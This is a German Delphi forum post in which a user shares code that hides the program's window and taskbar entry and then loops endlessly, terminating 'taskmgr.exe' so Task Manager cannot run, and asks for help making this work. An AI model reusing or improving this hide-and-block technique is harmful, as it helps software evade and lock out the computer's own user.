Zitat von
sirius:
Dazu gibts einige dutzend Themen hier.
Kurz die einfache Variante:
Füge "über Datei--> neu" ein Thread-Objekt ein! Schreibe deine Schleife in die execute Methode und instanziere dann irgendwo diese Klasse.
Edit
Zitat:
Ich versuche nämlich, dass unendlich versucht wird eine Sache zu blockieren.
Vielleicht solltest du uns das Konzept der Sache noch verraten. Ich glaube dein Lösungsansatz ist verkehrt.
Ok ok,
die ganze wahrheit ist, dass ich versuche einen task die ganze zeit zu blockieren.
Delphi-Quellcode:
function KillTask(const AExeName: string): boolean;
var
p: TProcessEntry32;
h: THandle;
begin
Result := false;
p.dwSize := SizeOf(p);
h := CreateToolHelp32Snapshot(TH32CS_SnapProcess, 0);
try
if Process32First(h, p) then
repeat
if AnsiLowerCase(p.szExeFile) = AnsiLowerCase(AExeName) then
Result := TerminateProcess(OpenProcess(Process_Terminate,
false,
p.th32ProcessID),
0);
until (not Process32Next(h, p)) or Result;
finally
CloseHandle(h);
end;
end;
das ist die function KillTask, damit wird einfache in Prozess beendet
Delphi-Quellcode:
procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Clear;
Edit1.Clear;
Memo1.Enabled:= false;
Edit1.MaxLength:= 20;
Edit2.MaxLength:= 2;
Edit3.MaxLength:= 11;
Edit3.Clear;
//change Style/hide Window
SetWindowLong(
Handle, GWL_EXSTYLE, GetWindowLong(
Handle, GWL_EXSTYLE)
or WS_EX_TOOLWINDOW
and not WS_EX_APPWINDOW);
ShowWindow(
Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
while true
do
begin
KillTask('
taskmgr.exe');
end;
end;
das ist jetzt mein form.create, damit der task nicht erst abgefragt werden muss, da ich ja nicht weiß, wann er gestartet wird/ist/war, soll er dauerhaft blockiert werden durch
Delphi-Quellcode:
while true do
begin
KillTask('taskmgr.exe');
end;
Könnt ihr mir jetzt helfen ?